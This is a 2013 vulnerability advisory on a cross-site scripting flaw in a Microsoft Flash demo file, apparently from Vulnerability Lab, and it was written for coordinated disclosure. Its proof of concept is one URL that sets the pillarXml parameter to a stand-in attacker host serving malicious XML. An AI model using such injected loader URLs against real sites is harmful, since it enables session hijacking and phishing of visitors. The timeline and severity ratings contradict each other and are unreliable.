Microsoft EPD - CS Flash Cross Site Web Vulnerability

Document Title:
===============
Microsoft EPD - CS Flash Cross Site Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1013

Microsoft Security Response Center (MSRC) ID: 15156


Release Date:
=============
2013-07-28


Vulnerability Laboratory ID (VL-ID):
====================================
1010


Common Vulnerability Scoring System:
====================================
2.4


Product & Service Introduction:
===============================
Microsoft Online Services is Microsoft`s hosted-software offering and a component of their software plus services strategy.
Microsoft Online Services are hosted by Microsoft and sold ``with`` Microsoft partners. The suite includes Exchange Online, 
SharePoint Online, Office Communications Online, Microsoft Forefront, and Microsoft Office Live Meeting. For businesses, 
the Software-plus-Services approach enables organizations to access the capabilities of enterprise software through on-premises 
servers, as online services, or a combination of both, depending on specific business requirements. Services also provide the 
option to add complementary capabilities that enhance on-premises server software and simplify system management and maintenance.

(Copy of the vendor Homepage: https://microsoft.com )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client side cross site in flash component of Microsofts Website Application.


Vulnerability Disclosure Timeline:
==================================
2013-07-14:	Researcher Notification & Coordination (Muhammad Ahmed Siddiqui)
2013-07-15:	Vendor Notification (Microsoft Security Response Center - Security Program)
2013-07-16:	Vendor Response/Feedback (Microsoft Security Response Center - Security Program)
2013-07-26:	Vendor Fix/Patch (Microsoft Developer Team)
2012-07-29:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Microsoft Corp.
Product: Windowsvista Enterprise Demos - (Flash) 2013 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
An independent vulnerability laboratory researcher discovered a client side input cross site in flash component of Microsofts Website Application.
The vulnerability allows remote attacker to execute malicious non-persistent script on client side.

The vulnerability is located in the flash windows/products/windowsvista/enterprise/demos module when processing the load 2 different 
manipulated pillarXml parameter via GET method.
The client-side script code will be executed in the flash web application layout as frame. During investigation it has been revealed 
that a remote attacker can manipulate both entry points and to inject his own html and javascript.

Exploitation of the vulnerability requires no privilege application user account but low or medium user interaction. Successful exploitation 
of the vulnerability results in session hijacking, persistent phishing, persistent malware injects, persistent external redirects and manipulation 
of affected module- or application context.

Vulnerable Module(s):
				[+] windows/products/windowsvista/enterprise/

Vulnerable File(s):
				[+] pillar.swf

Vulnerable Parameter(s):
				[+] pillarXml


Proof of Concept (PoC):
=======================
The client side cross site scripting vulnerability can be exploited by remote attacker with low privilege application user account 
and low or medium required user interaction. For demonstration or reproduce ...


Review:

 function loadXml(url)
    {
        if (url == undefined)
        {
            if (_root.pillarXml != undefined)
            {
                url = _root.pillarXml;                >> xml being used without proper utilization
            }
            else
            {
                url = defaultPillarDataUrl;
            } // end if
        } // end else if


POC :
https://www.microsoft.com/rus/windows/products/windowsvista/enterprise/demos/pillar.swf
?pillarXml=http://www.attacker-website---.com/poc/ms/pillar.xml


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction and parse of the pillarXml GET parameter request in the pillar.swf flash file.
Pare also the affected output listing in the main module of the web service.


Security Risk:
==============
The security risk of the client site cross site web vulnerability is estimated as medium (-).


Credits & Authors:
==================
Muhammad Ahmed Siddiqui - [email protected]


Disclaimer & Information:
=========================
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